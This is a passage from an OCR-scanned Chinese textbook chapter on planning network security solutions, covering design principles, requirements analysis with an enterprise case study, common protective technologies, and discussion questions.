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实际 运用 ,也 是 综合 解决 网 络 安全 问题 的 具体 措施 的 体现 。 高 质量 的 网 络 安全 解决 方案 
主要 体现 在 网 络 安全 技术 .网络 安全 策略 和 网 络 安全 管理 三 方面 ,网 络 安全 技术 是 基础 ， 
网 络 安全 策略 是 核心 ,网 络 安全 管理 是 保证 。 

知识 拓展 ”网络 安 全 解决 方案 发 展 趋 于 大 数据 、 云 安全 解决 方案 ,通过 海量 的 用 
户 客户 端 异常 情况 ,获取 病毒 数据 ,推送 至 云 平 台 , 经 过 复杂 解析 和 处 理 , 把 最 终 解决 方 
案 汇集 到 每 个 用 户 终端 。 利 用 大 数据 有 效 整 合 再 分 析 , 推 送 到 广大 用 户 客户 端 ,再 经 客 
户 端 交叉 、 网 状 大 数据 反馈 给 云 平 台 。 


2. 网 络 安全 方案 的 特点 和 种 类 


网 络 安全 方案 具有 整体 性 、 动 态 性 和 相对 性 的 特点 ,在 制定 整个 网 络 安全 方案 项 目 
的 可 行 性 论证 计划、 立项 分析、 设计 和 施行 与 检测 过 程 中 ,主要 根据 实际 安全 评估 全 面 
和 动态 地 把 握 项 目的 内 容 、 要 求 和 变化 ,力求 真正 达到 网 络 安 全 工程 的 建设 目标 。 网 络 
安全 方案 可 以 分 为 网 络 安全 设计 方案 、 网 络 安 全 建设 方案 、 网 络 安 全 解决 方案 、 网 络 安全 
实施 方案 等 ,也 可 以 按照 行业 特点 或 单项 需求 等 方式 进行 划分 。 如 网 络 安全 工程 技术 方 
案 、 网 络 安全 管理 方案 .金融 行业 数据 应 急 备份 及 恢复 方案 .大 型 企业 局 域 网 安全 解决 方 
案 、 校 园 网 安全 管理 方案 等 。 


D12 网 络 安全 解决 方案 的 制定 


1. 网 络 安全 解决 方案 制定 原则 


企 事业 机 构 网 络 安全 解决 方案 的 制定 原则 主要 包括 以 下 几 项 : 

(1) 综合 性 、 整 体 性 原则 。 应 用 系统 工程 的 观点 、 方 法 ,具体 分 析 网 络 系 统 的 安全 性 
和 具体 措施 。 应 从 整体 分 析 和 把 握 网 络 系统 所 遇 到 的 风险 和 威胁 ,不 能 像 * 补 漏洞 "一 
样 ,只 对 有 问题 的 地 方 补 , 可 能 会 越 补 问题 越 多 ,应 当 全 面 地 进行 评估 并 统筹 兼顾 、 协 同 
一 致 ,采取 整体 性 保护 措施 。 安 全 措施 主要 包括 行政 法 律 手段 .各 种 管理 制度 (人 员 利 
查 、 工 作 流 程 、 维 护 保障 制度 等 ) 以 及 技术 措施 (身份 认证 \ 访 问 及 存 取 控 制 、 密 码 及 加 密 
技术 、 低 辐射 ,容错 、 防 病毒 防火墙 技 术 、 入 侵 检 测 与 防御 技术 、 采 用 高 安全 产品 等 )。 

(2) 动态 性 ,拓展 性 原则 。 动 态 性 是 网 络 安全 的 一 个 重要 原则 。 由 于 安全 问题 本 身 
动态 变化 ,网 络 、 系 统 和 应 用 也 不 断 出 现 新 情况 .新 变化 .新 风险 和 威胁 ,决定 了 网 络 系统 
安全 方案 的 动态 可 拓展 特性 。 

(3) 严谨 性 ,专业 性 原则 。 在 制定 方案 过 程 中 ,应 以 一 种 严肃 认真 的 严谨 性 工作 ,不 
应 有 不 实 的 感觉 ,在 制定 方案 时 ,应 从 多 方面 对 方案 进行 论证 。 专 业 性 是 指 对 机 构 的 网 
络 系统 和 实际 业务 应 用 ,应 从 专业 的 角度 分 析 、 研 判 和 把 握 , 不 能 采用 一 些 大 致 ,基本 可 
行 的 做 法 ,使 用 户 觉得 不 够 专业 ,难以 信任 。 

(4) 一 致 性 ,唯一 性 原则 。 主 要 是 指 网 络 安全 问题 应 与 整个 网 络 的 工作 周期 (或 生命 
周期 ) 同 时 存在 ,制定 的 安全 体系 结构 必须 与 网 络 的 安全 需求 相 一 致 。 由 于 安全 问题 的 
动态 性 和 严谨 性 ,决定 了 安全 问题 的 唯一 性 ,确定 每 个 具体 的 网 络 系统 安全 的 解决 方式 
方法 都 应 当 是 独一无二 的 ,不 能 模棱两可 。 
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(5) 易 操 作 性 原则 。 安 全 措施 需要 人 去 完成 ,如 果 措施 过 于 复杂 ,对 人 的 要 求 过 
本 身 就 降低 了 安全 性 。 其 次 ,措施 的 采用 不 能 影响 系统 的 正常 运行 。 

(6) 分 步 实 施 原则 。 由 于 网 络 系统 及 其 应 用 扩展 范围 广阔 , 随 着 网 络 规模 的 扩大 及 
应 用 的 增加 ,网 络 脆弱 性 也 会 不 断 增 加 。 一 劳 永 逸 地 解决 网 络 安全 问题 是 不 现实 的 。 同 
时 由 于 实施 信息 安全 措施 需要 相当 的 费用 支出 。 因 此 分 步 实施 , 既 可 满足 网 络 系统 及 信 
息 安全 的 基本 需求 ,也 可 节省 费用 开支 。 

(7) 多 重 保护 原则 。 任 何 网 络 安全 措施 都 不 是 绝对 安全 的 ,都 可 能 被 攻破 。 应 建立 
一 个 多 重 保护 系统 ,各 层 保护 相互 补充 , 当 一 层 保护 被 攻破 时 ,其 他 层 保护 仍 可 保护 信息 
的 安全 。 

(8) 可 评价 性 原则 。 预 先 评价 一 个 网 络 安全 设计 并 验证 其 网 络 的 安全 性 ,需要 通过 
国家 有 关 网 络 信息 安全 测评 认证 机 构 的 评估 来 实现 。 


2. 制定 网 络 安全 解决 方案 的 注意 事项 


在 制定 网 络 安全 解决 方案 前 ,一定 要 对 企 事 业 单 位 用 户 的 网 络 系统 的 实际 运行 环境 
进行 深入 调研 ,并 进行 全 面 翔实 的 安全 需求 分 析 , 对 可 能 出 现 的 安全 风险 .威胁 和 隐患 进 
行 评估 、 量 化 和 预测 ,在 安全 需求 分 析 的 基础 上 ,进行 认真 讨论 和 设计 ,并 制定 出 一 份 客 
观 的 、 高 质量 的 安全 解决 方案 。 这 也 是 网 络 安全 工程 项 目 重要 组 成 部 分 和 项 目 实 施 的 依 
据 , 制 定 网 络 安 全 解决 方案 注意 事项 包括 以 下 几 点 : 

(1) 以 发 展 变化 的 视角 制定 方案 。 主 要 是 指 在 网 络 安全 解决 方案 制定 时 ,不 仅 要 考 
虑 到 企 事业 单位 现 有 的 网 络 系统 安全 状况 ,也 要 考虑 到 将 来 的 业务 发 展 和 系统 的 变化 与 
更 新 的 需求 ,以 一 种 发 展 变化 和 动态 的 视角 进行 考虑 ,并 在 项 目 实施 过 程 中 既 能 考虑 到 
目前 的 情况 ,也 能 很 好 地 适应 将 来 网 络 系统 的 升级 , 预 留 升级 接口 。 动 态 安全 是 制定 方 
案 时 一 个 很 重要 的 概念 ,也 是 网 络 安全 解决 方案 与 其 他 项 目的 最 大 区 别 。 

(2) 网 络 安全 的 相对 性 。 在 制定 网 络 安全 解决 方案 时 ,应 当 以 一 种 客观 真实 的 “实事 
求 是 ”的 态度 来 进行 安全 分 析 、 设 计 和 编制 。 由 于 事物 和 时 间 等 因素 在 不 断 发 生变 化 , 计 
算 机 网 络 又 无 绝对 安全 ,不 管 是 分 析 设 计 还 是 编制 ,都 根本 无 法 达到 绝对 安全 。 因 此 ,在 
制定 方案 过 程 中 应 当 与 用 户 交流 ,只 能 做 到 尽力 避免 风险 ,努力 消除 风险 的 根源 ,降低 由 

风险 所 带 来 的 隐患 和 损失 ,而 不 能 做 到 完全 彻底 消灭 风险 。 在 注重 网 络 安全 的 同时 兼 
顾 网 络 的 功能 .性 能 等 方面 ,不 能 顾此失彼 。 

在 网 络 安全 工程 中 ,动态 性 和 相对 性 非常 重要 ,可 以 从 系统 、 人 员 和 管理 3 个 方面 来 
考虑 。 网 络 系统 和 网 络 安 全 技术 是 重要 基础 ,在 分 析 、 设 计 、 实 施 和 管理 过 程 中 ,人 员 是 
核心 ,管理 是 保证 。 从 项 目 实 现 角 度 来 看 ,系统 、 人 员 和 管理 是 项 目 质 量 的 保证 。 操 作 系 
统 是 一 个 很 庞大 复杂 的 体系 ,在 方案 制定 时 ,对 其 安全 因素 可 能 考虑 相对 较 少 ,容易 存在 
一 些 人 为 因素 ,可 能 带 来 安全 方面 的 风险 和 损失 。 

[5 因 展 阅读 ”在 方案 制定 过 程 中 ,具体 人 员 本 身 的 技术 水 平素 质 行为 等 都 会 影响 
到 项 目的 质量 ,包括 认真 程度 、 习 惯 方式 等 。 管 理 是 关键 ,网 络 系 统 的 安全 配置 动态 跟 
踪 和 各 种 人 员 的 有 效 管理 都 要 依靠 科学 管理 和 制度 做 保证 。 
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13 网 络 安全 解决 方案 制定 要 点 


制定 一 个 完整 的 网 络 安全 解决 方案 项 目 , 通 常 包括 网 络 系统 安全 需求 分 析 与 评估 、 
方案 设计 方案 编制 .方案 论证 与 评价 .具体 实施 测试 检验 和 效果 反馈 等 基本 过 程 ,制定 
网 络 安全 解决 方案 总 体 框架 要 点 应 注重 以 下 5 个 方面 。 在 实际 应 用 中 ,可 以 根据 企 事 业 
单位 的 实际 需求 进行 适当 优化 选取 和 调整 。 


1. 安全 风险 概要 分 析 要 点 


对 企 事业 单位 现 有 的 网 络 系统 安全 风险 威胁 和 隐患 , 先 要 做 出 一 个 有 重点 的 安全 
评估 和 安全 需求 概要 分 析 , 并 能 够 突出 用 户 所 在 的 行业 及 业务 的 特点 、 网 络 环境 和 应 用 
系统 等 要 求 进行 概要 分 析 。 同 时 ,要 有 针对 性 ,如 政府 行业 、 金 融 行 业 、 电 力行 业 等 ,应 当 
体现 很 强 的 行业 特点 ,使 用 户 感到 真实 可 靠 、 具 体 且 有 针对 性 ,便于 理解 接受 。 


2. 实际 安全 风险 分 析 要 点 


通常 ,对 企 事业 单位 用 户 的 实际 安全 风险 可 从 4 个 方面 进行 分 析 : 网 络 的 风险 和 威 
胁 分 析 、 系 统 的 风险 和 威胁 分 析 、 应 用 的 风险 和 威胁 分 析 、 对 网 络 系统 和 应 用 的 风险 及 威 
胁 的 具体 详尽 的 实际 分 析 。 实 际 安全 风险 分 析 要 点 如 下 : 

(1) 网 络 风险 分 析 。 对 企 事业 单位 现 有 的 网 络 系统 结构 进行 详细 分 析 并 辅 以 图 示 ， 
找 出 产生 安全 隐患 和 问题 的 关键 ,指出 风险 和 威胁 所 带 来 的 危害 ,对 这 些 风险 、 威 胁 和 隐 
患 可 能 会 产生 的 后 果 需 要 做 出 一 个 翔实 的 分 析 报 告 ,并 提出 具体 的 意见 、 建 议和 解决 
方法 。 

(2) 系统 风险 分 析 。 对 企 事 业 单位 所 有 的 网 络 系统 都 要 进行 一 次 具体 翔实 的 安全 风 
险 检测 与 评估 ,分 析 所 存在 的 具体 风险 和 威胁 ,并 结合 实际 业务 应 用 ,指出 存在 的 安全 隐 
患 和 后 果 。 对 现行 网 络 系 统 当前 所 面临 的 安全 风险 和 威胁 ,结合 用 户 的 实际 业务 ,提出 
具体 的 整改 意见 、 建 议和 解决 方法 。 

(3) 应 用 安全 分 析 。 实 际 业务 系统 和 应 用 的 安全 是 企业 信息 化 安全 的 关键 ,也 是 网 
络 安 全 解决 方案 中 最 终 确定 要 保护 的 具体 部 位 和 对 象 ,同时 由 于 应 用 的 复杂 性 和 相关 
性 ,分 析 时 要 根据 具体 情况 进行 认真 综合 、 全 面 的 分 析 和 研究 。 

(4) 对 系统 和 应 用 的 安全 分 析 。 尽 力 帮 助 企 事 业 单 位 发 现 、 分 析 网 络 系 统 和 实际 应 
用 中 存在 的 安全 风险 和 隐患 ,并 帮助 找 出 网 络 系统 中 需要 保护 的 重点 部 位 和 具体 对 象 ， 
提出 实际 采用 的 安全 产品 和 技术 解决 方案 的 具体 方式 方法 。 


3. 网 络 系统 风险 评估 


网 络 系统 风险 评估 是 利用 安全 检测 工具 和 实用 安全 技术 手段 对 现 有 网 络 系统 安全 
状况 进行 的 测评 和 估计 ,通过 综合 评估 掌握 具体 安全 状况 和 隐患 ,可 以 有 针对 性 地 采取 
有 效 措施 ,同时 也 能 给 用 户 一 种 很 实际 的 感觉 ,使 其 愿意 接受 提出 的 具体 安全 解决 方案 。 
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4. 网 络 安全 关键 技术 


在 制定 网 络 安全 解决 方案 时 ,常用 的 安全 产品 和 安全 技术 有 7 种 : 身份 认证 技术 、 访 
问 控制 技术 、 防 火 墙 技术 病毒 防范 技术 .传输 加 密 技术 、 入 侵 检 测 技术 和 应 急 备 份 与 恢 
复 技术 等 ,结合 用 户 的 网 络 、 系 统 和 应 用 的 实际 情况 ,对 安全 产品 和 技术 进行 比较 和 分 
析 , 分 析 应 当 客 观 , 结 果 要 务实 ,帮助 用 户 选择 最 能 解决 实际 问题 的 产品 ,不 应 崇洋 媚外 ， 
片面 追求 “新 .好 、 全 、 大 ”。 

(1) 身份 认证 与 访问 控制 技术 。 从 系统 的 身份 认证 与 访问 控制 的 实际 安全 问题 进行 
具体 分 析 , 指 出 网 络 应 用 中 存在 的 身份 认证 与 访问 控制 方面 的 风险 ,结合 相关 的 产品 和 
技术 ,通过 部 署 这 些 产品 和 采用 相关 的 安全 技术 ,帮助 用 户 解 决 系统 和 应 用 在 这 些 方面 
存在 的 风险 和 威胁 。 

(2) 防 病毒 技术 。 针 对 用 户 的 系统 和 应 用 的 特点 ,对 终端 .服务 器 .网 关 防 范 病毒 及 
流行 性 病毒 与 趋势 进行 概括 和 比较 ,如 实说 明 病毒 所 带 来 的 安全 威胁 和 后 果 , 详 细 指出 
防范 措施 及 方法 。 

(3) 传输 加 密 技术 。 利 用 加 密 技 术 进行 科学 分 析 ,指出 明文 传输 的 巨大 危害 ,通过 结 
合 相 关 的 加 密 产 品 和 技术 ,明确 指出 现 有 网 络 系统 的 危害 和 风险 。 

(4) 防火 墙 技术 。 结 合 企 事 业 单位 网 络 系统 的 特点 ,对 各 类 新 型 防火 墙 进行 概括 和 
比较 ,明确 其 利弊 ,并 从 中 立 的 角度 帮助 用 户 选 择 一 种 更 为 有 效 的 防火 墙 产品 。 

(5) 入 侵 检测 技术 。 通 过 对 入 侵 检测 系统 具体 翔实 的 介绍 ,对 于 在 用 户 的 网 络 和 系 
统 安装 一 个 相关 产品 后 对 现 有 的 安全 状况 将 会 产生 的 影响 进行 实际 分 析 , 并 结合 相关 的 
产品 及 其 技术 ,指明 其 对 用 户 的 系统 和 网 络 会 带 来 的 具体 好 处 及 其 重要 性 和 必要 性 , 否 
则 将 会 带 来 的 后 果 、 风 险 和 影响 等 。 

(6) 应 急 备份 与 恢复 技术 。 经 过 实际 调研 并 结合 相关 案例 分 析 , 对 可 能 出 现 的 突 发 
事件 和 隐患 制 定 出 一 个 具体 的 应 急 处 理 方案 (预案 ) ,明确 数据 备份 、 系 统 还 原 等 应 急 处 
理 措施 等 。 


5. 安全 管理 与 服务 的 技术 支持 


安全 管理 与 服务 的 技术 支持 主要 是 通过 技术 手段 向 用 户 提供 长 期 安全 管理 与 服务 
支持 , 面 对 不 断 更 新 变化 的 安全 技术 安全 风险 和 安全 威胁 ,对 安全 技术 合理 补充 与 完善 
的 安全 管理 与 服务 也 应 与 时 俱 进 \ 不 断 更 新 。 

(1) 网 络 拓扑 安全 。 根 据 用 户 网 络 系统 存在 的 安全 风险 和 威胁 ,详细 分 析 机 构 的 网 
络 拓 扑 结构 ,并 根据 其 结构 的 特点 、 功 能 和 性 能 等 实际 情况 ,指出 现在 或 将 来 可 能 存在 的 
安全 风险 和 威胁 ,并 采用 相关 的 安全 产品 和 技术 ,帮助 企 事 业 单 位 消除 产生 安全 风险 和 
隐患 的 根源 。 

(2) 系统 安全 加 固 。 通 过 实际 的 安全 风险 检测 ,评估 和 分 析 , 找 出 企 事业 单位 相关 系 
统 已 经 存在 或 是 将 来 可 能 存在 的 风险 和 威胁 ,并 采用 相关 的 安全 产品 、 措 施 手段 和 安全 
技术 ,加 固 用 户 的 系统 安全 。 

(3) 应 用 安全 。 根 据 企 事 业 单位 的 业务 应 用 程序 和 相关 支持 系统 ,通过 相应 的 风险 
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评估 和 具体 分 析 , 找 出 企 事 业 用 户 和 相关 应 用 已 经 存在 或 将 来 可 能 会 存在 的 漏洞 .风险 
及 隐患 ,并 运用 相关 的 安全 产品 .措施 手段 和 技术 ,防范 现 有 系统 在 应 用 方面 的 各 种 安全 
问题 。 

(4) 紧急 响应 。 对 于 突 发 事件 ,需要 及 时 采取 紧急 处 理 预案 和 处 理 流程 ,如 突然 发 生 
地 震 、 雷 击 ,突然 断 电 ,服务 器 死机 ,数据 存储 异常 等 ,立即 执行 相应 的 紧急 处 理 预案 ,将 
损失 和 风险 降 到 最 低 。 

(5) 应 急 备 份 恢复 。 通 过 对 企 事业 机 构 的 网 络 、 系 统 和 应 用 安全 的 深入 调研 和 实际 
分 析 , 针 对 可 能 出 现 的 突 发 事件 和 灾难 隐患 ,制定 出 一 份 具 体 详细 的 应 急 备 份 恢复 方案 ， 
如 系统 备份 与 还 原 、 数 据 备份 恢复 等 应 急 措施 ,以 应 对 突 发 情况 。 

(6) 安全 管理 规范 。 健 全 完善 的 安全 管理 规范 是 制定 安全 方案 的 重要 组 成 部 分 ， i 
银行 部 门 的 安全 管理 规范 需要 具体 规定 固定 IP 地 址 ,暂时 离开 计算 机 时 需要 锁定 
masinpa hishiwmiq enn iwGmamemt kas sea 
范 、. 普 通 员工 管理 规范 .设备 使 用 规范 和 安全 运行 环境 及 审计 规范 等 。 

(7) 服务 体系 和 培训 体系 。 提 供 网 络 安全 产品 的 售 前 、 使 用 和 售后 服务 ,并 提供 安全 
产品 和 技术 的 相关 培训 与 技术 咨询 等 。 

讨论 思考 

(1) 什么 是 网 络 安全 方案 和 网 络 安全 解决 方案 ? 

(2) 制定 网 络 安全 解决 方案 的 过 程 是 什么 ? 

(3) 具体 制定 网 络 安全 解决 方案 的 要 点 有 哪些 ? 


122 网 络 安全 需求 分 析 要 求 和 任务 


做 好 网 络 安 全 需求 分 析 是 制定 网 络 安 全 解决 方案 非常 重要 的 基础 性 工作 ,网 络 安全 
需求 分 析 的 好 坏 直接 关系 到 后 续 工 作 的 全 面 性 、 准 确 性 和 完整 性 ,甚至 关系 到 整个 网 络 
安全 解决 方案 的 质量 。 


D21 网 络 安全 需求 分 析 概 述 


1. 网 络 安全 需求 分 析 的 内 容 


由 于 网 络 安 全 需求 与 网 络 安 全 技术 的 广泛 性 和 复杂 性 ,以 及 网 络 安全 工程 与 其 他 工 
程 学 科 之 间 的 复杂 关系 ,使 得 网 络 安全 产品 .系统 和 服务 的 开发 .评估 和 改进 工作 更 为 困 
难 和 复杂 。 需 要 有 一 种 全 面 、 综 合 的 系统 级 安全 工程 体系 结构 ,对 安全 工程 实践 进行 指 

导 、 评 估 和 改进 。 

1) 需求 分 析 要 点 

在 进行 需求 分 析 时 ,主要 内 容 应 注重 以 下 6 个 方面 : 

(1) 网 络 安全 体系 。 必 须 从 网 络 系统 工程 的 高 度 来 设计 网 络 安全 系统 ,在 网 络 各 层 
次 都 应 有 相应 的 具体 安全 措施 ,同时 还 要 注意 到 内 部 的 网 络 安全 管理 在 安全 系统 中 的 重 
要 作用 。 
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(2) 可 靠 性 。 网 络 安全 系统 自身 具有 必 备 的 安全 可 靠 运行 能 力 ,必须 能 够 保证 独立 
正常 运行 基本 功能 、 性 能 和 自我 保护 能 力 ,不致 因为 网 络 安全 系统 局 部 出 现 故 障 ,就 导致 
整个 网 络 出 现 瘫痪 。 

(3) 安全 性 。 网 络 安全 系统 既 要 保证 网 络 及 其 运行 和 应 用 的 安全 ,又 要 保证 系统 自 
身 基 本 的 安全 保障 。 

(4) 开放 性 。 保 证 网 络 安全 系统 的 开放 性 ,以 使 不 同 厂家 的 不 同安 全 产品 能 够 集成 
到 网 络 安全 系统 中 ,并 保证 网 络 安全 系统 和 各 种 应 用 的 安全 可 靠 运行 。 

(5) 可 扩展 性 。 网 络 安全 系统 应 具有 一 定 的 可 伸缩 与 扩展 性 ,以 适应 网 络 规模 等 的 
更 新 与 变化 。 

(6) 便于 管理 。 为 了 有 助 于 提高 管理 效率 ,主要 包括 两 个 方面 : 一 是 网 络 安全 系统 
本 身 应 当 便于 管理 ,二 是 网 络 安全 系统 对 其 管理 对 象 的 管理 应 当 简单 便捷 。 

2) 需求 分 析 案 例 

对 企 事业 单位 的 现 有 网 络 系统 进行 初步 的 概要 分 析 , 以 便 对 后 续 工 作 进 行 判断 、 决 
策 和 交流 。 一 般 初步 分 析 包括 机 构 概 况 、 网 络 系统 概况 .主要 安全 需求 .网 络 系统 管理 概 

【案例 12-2] 某 企 业 机 构 的 网 络 系统 包括 企业 总 部 和 多 个 基层 单位 , 按 地 域 位 置 可 
分 为 本 地 网 和 远程 网 ,也 可 称 为 A 地 区 以 内 和 A 地 区 以 外 两 部 分 。 由 于 该 网 主要 为 机 
构 和 单位 之 间 数 据 交 流 服 务 ,网 上 运行 大 量 重 要 信息 ,因此 ,要 求 入 网 站 点 物理 上 不 与 
Internet 连接 。 从 安全 角度 考虑 ,本 地 网 用 户 地 理 位 置 相对 集中 ,又 完全 处 于 独立 使 用 和 
内 部 管理 的 封闭 环境 下 ,物理 上 不 与 外 界 有 联系 ,具有 一 定 的 安全 性 。 而 远程 网 的 连接 
由 于 是 通过 PSTN 公共 交换 网 实现 的 , 比 本 地 网 安全 性 要 差 。 

网 络 系统 拓扑 结构 图 如 图 12-1 所 示 。 
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3) 网 络 安全 需求 分 析 

网 络 安全 需求 分 析 是 在 初步 概要 分 析 的 基础 上 进行 的 全 面 深入 分 析 , 主 要 包括 以 下 
5 个 方面 : 

(1) 物理 层 安 全 需求 。 各 企 事 业 机 构 “ 网 络 中 心 ” 主 机 房 服务 器 等 都 有 不 同 程度 的 电 
磁 辐 射 , 考 虑 到 现 阶 段 网 络 建设 情况 ,A 地 区 中 心机 房 需要 电磁 干扰 器 作为 防护 措施 ,对 
可 能 产生 的 电磁 干扰 加 以 防范 ,避免 发 生 泄密 。 

同时 ,对 A 地 区 “网 络 中心 ” 中 心机 房 需要 安装 采用 IC 卡 和 磁卡 及 指纹 等 进行 身份 
鉴别 的 门 控 系 统 , 并 安装 相关 的 监视 系统 。 

(2) 网 络 层 安全 需求 。 在 A 地 区 以 外 的 基层 单位 ,通过 宽带 与 A 地 区 主 网 进行 分 布 
联系 ,外 网 存在 的 安全 隐患 和 风险 比较 大 。 因 此 ,应 为 这 些 各 基层 单位 配备 加 密 设施 。 
男 外 ,为 实现 远程 网 与 本 地 网 之 间 数 据 的 过 滤 和 控制 ,需要 在 它们 之 间 的 路 由 器 后 面 加 
设防 火 墙 。 

根据 一 些 业务 及 管理 人 员 进 行 远 程 通信 和 移动 办 公 的 需求 ,可 为 部 分 便携 机 配备 加 
密 机 或 加 密 卡 实现 信道 加 密 , 以 保证 移动 办 公安 全 需求 。 由 于 本 地 网 经 常 传输 一 些 敏 感 
文件 或 邮件 ,因此 ,为 保证 数据 在 传输 及 本 地 存放 的 安全 性 ,需要 对 文件 及 邮件 附件 进行 
加 密 处 理 。 

为 了 实现 对 交换 机 、 路 由 器 .计算 机 设备 和 网 络 的 有 效 管 理 ,需要 采用 先进 的 网 络 管 
理 软件 .设备 管理 软件 及 划分 VLAN 等 手段 。 

对 于 网 络 系统 在 开放 的 环境 下 的 服务 器 、 客 户 端 计 算 机 、 交 换 机 和 路 由 器 等 实体 安 
全 问题 ,由 于 这 些 设 备 全 部 依托 于 操作 系统 的 安全 ,而 任何 操作 系统 目前 都 有 已 知 和 未 
知 的 漏洞 及 隐患 ,势必 会 影响 这 些 设备 和 系统 的 安全 性 ,为 了 更 为 有 效 地 进行 准确 预警 、 
记录 和 追踪 攻击 行为 ,需要 对 重要 部 位 进行 安全 加 固 , 并 安装 入侵 防御 /检测 系统 和 安全 
审计 系统 。 

(3) 系统 层 安 全 需求 。 在 系统 层 应 使 用 安全 性 较 高 的 操作 系统 和 数据 库 管理 系统 ， 
并 及 时 进行 漏洞 修补 和 安全 维护 。 对 于 操作 系统 存在 的 漏洞 隐患 ,可 以 通过 下 载 补丁 、 
进行 安全 管理 的 设置 等 手段 减少 或 消除 。 另 外 ,可 以 使 用 安全 扫描 软件 帮助 管理 员 有 效 
地 检查 主机 的 安全 隐患 和 漏洞 ,并 及 时 给 出 常用 的 处 理 提 示 。 

为 了 在 业务 数据 及 系统 突 发 意外 或 人 为 破坏 时 能 够 及 时 进行 恢复 ,需要 进行 数据 和 
系统 备份 。 

(4) 应 用 层 安 全 需求 。 利 用 CA 认证 管理 机 制 和 先进 身份 认证 与 访问 控制 手段 ,在 
基于 公 钥 体系 的 密码 系统 中 建立 密 钥 管理 机 制 , 对 密 钥 证 书 进 行 统 一 管理 和 分 发 ,实现 
身份 认证 ,访问 控制 ,信息 加 密 、 数 字 签 名 等 安全 保障 功能 ,从 而 达到 保证 信息 的 隐秘 性 
和 完整 性 、 可 审查 性 等 安全 目标 要 求 。 

知识 拓展 ”安装 企业 级 的 防范 计算 机 网 络 病毒 软件 ,实现 所 有 客户 端 设置 定义 与 
服务 器 端的 自动 同步 ,确保 网 络 实时 检测 与 防范 病毒 安全 的 实际 需求 。 

为 监控 客户 机 的 非法 Internet 访问 ,应 当 安 装 网 络 实时 监控 系统 以 监视 客户 非法 
操作 。 

结合 CA 认证 中 心 开发 网 络 用 户 数据 库 , 通 过 非 对 称 加 密 手 段 确保 用 户 的 真实 身份 。 
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(5) 管理 层 安全 需求 。 制 定 有 利于 机 构 实 际 的 网 络 运行 和 网 络 安全 需要 的 各 种 有 效 
的 管理 规范 和 机 制 ,并 认真 贯彻 落实 。 


2. 网 络 安全 需求 分 析 要 求 


对 网 络 安全 需求 分 析 的 具体 要 求 主 要 包括 以 下 5 项 。 

(1) 安全 性 要 求 。 网 络 安全 解决 方案 必须 能 够 全 面 、 有 效 地 保护 企 事 业 机 构 网 络 系 
统 的 安全 ,保护 计算 机 硬件 .软件 ,数据 、 网 络 不 因 偶然 的 或 恶意 破坏 的 原因 遭 到 更 改 、 泄 
露 和 丢失 ,确保 数据 的 完整 性 、 保 密 性 、 可 靠 性 和 其 他 安全 方面 的 具体 实际 需求 。 

(2) 可 控 性 和 可 管理 性 要 求 。 主 要 通过 自动 和 手动 操作 方式 检测 和 查看 网 络 安全 实 
际 状况 ,并 及 时 进行 状况 分 析 , 适 时 检测 并 及 时 发 现 和 记录 潜在 的 安全 威胁 与 风险 。 制 
定 出 具体 有 效 的 安全 策略 ,及 时 报警 并 阻 断 和 记录 各 种 入 侵 与 攻击 行为 ,使 系统 具有 很 
强 的 可 控 性 和 管理 性 。 

(3) 可 用 性 及 恢复 性 要 求 。 当 网 络 系统 个 别 部 位 出 现 意 外 的 安全 问题 时 ,不 影响 企 
业 信 息 系统 整体 的 正常 运行 ,使 系统 具有 很 强 的 整体 可 用 性 和 及 时 恢复 性 。 

(4) 可 扩展 性 要 求 。 系 统 可 以 满足 金融 ,电子 交易 等 业务 实际 应 用 的 需求 和 企业 可 
持续 发 展 的 要 求 ,具有 很 强 的 升级 更 新 、 可 扩展 性 和 和 柔 蔬 性 。 

(5) 合法 性 要 求 。 使 用 的 安全 设备 和 技术 具有 我 国安 全 产品 管理 部 门 的 合法 认证 ， 
达到 规定 标准 要 求 。 


D22 网 络 安全 解决 方案 的 主要 任务 


通常 ,制定 网 络 安全 解决 方案 的 主要 任务 有 4 个 方面 : 

(1) 调研 网 络 系统 。 深 入 实际 调研 用 户 计算 机 网 络 系统 ,包括 各 级 机 构 、 基 层 业 务 单 
位 和 移动 用 户 的 广域网 的 运行 情况 ,还 包括 网 络 系统 的 结构 性能、 信息 点 数量 .采取 的 
安全 措施 等 ,对 网 络 系统 面临 的 威胁 及 可 能 承担 的 风险 进行 定性 与 定量 的 具体 分 析 与 
评估 。 

(2) 分 析 评 估 网 络 系 统 。 对 网 络 系统 的 分 析 评 估 主 要 包括 服务 器 操作 系统 、 客 户 端 
操作 系统 的 运行 情况 ,如 操作 系统 的 类 型 及 版 本 、 提 供用 户 权 限 的 分 配 策略 等 ,在 操作 系 
统 最 新 发 展 趋势 的 基础 上 ,对 操作 系统 本 身 的 缺陷 及 可 能 带 来 的 风险 及 隐患 进行 定性 和 
定量 的 分 析 和 评估 。 

(3) 分 析 评 估 应 用 系统 。 对 应 用 系统 的 分 析 评 估 主 要 包括 业务 处 理 系 统 、 办 公 自 动 
化 系统 \ 信 息 管理 系统 、 电 网 时 实 管理 系统 、 地 理 信息 系统 和 Internet/ Intranet 信息 发 布 
系统 等 的 运行 情况 ,如 应 用 体系 结构 、 开 发 工具 、 数 据 库 软件 和 用 户 权 限 分 配 等 。 在 满足 
各 级 管理 人 员 和 业务 操作 人 员 的 业务 需求 的 基础 上 ,对 应 用 系统 存在 的 具体 安全 问题 、 
面临 的 威胁 及 可 能 出 现 的 风险 隐患 进行 定性 与 定量 的 分 析 和 评估 。 

(4) 制定 网 络 系统 安全 策略 和 解决 方案 。 在 上 述 定 性 和 定量 评估 与 分 析 基 础 上 , 结 
合用 户 的 网 络 系统 安全 需求 和 国内 外 网 络 安全 最 新 发 展 态势 ,按照 国家 规定 的 安全 标准 
和 准则 进行 具体 实际 安全 方案 设计 ,有 针对 性 地 制定 出 机 构 的 网 络 系统 具体 的 安全 策略 
和 解决 方案 ,确保 机 构 的 网 络 系统 安全 可 靠 地 运行 。 


sb 网 络 安全 解决 方案 及 应 用 
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[讨论 思考 

(1) 网 络 安全 解决 方案 的 具体 要 求 有 哪些 ? 

(2) 结合 实例 说 明 如 何 进行 安全 解决 方案 的 需求 分 析 ? 
(3) 网 络 安全 解决 方案 的 主要 任务 有 哪些 ? 


D3 网 络 安全 解决 方案 设计 及 标准 


1231 网 络 安全 解决 方案 设计 目标 及 原则 


1. 网 络 安全 解决 方案 的 设计 目标 


为 了 确保 网 络 系统 的 安全 ,利用 网 络 安全 技术 和 措施 设计 网 络 安全 解决 方案 设计 目 
标 , 包 括 以 下 几 个 方面 : 

(1) 机 构 各 部 门 、 各 单位 局 域 网 得 到 有 效 地 安全 保护 。 

(2) 保障 与 Internet 相连 的 安全 保护 。 

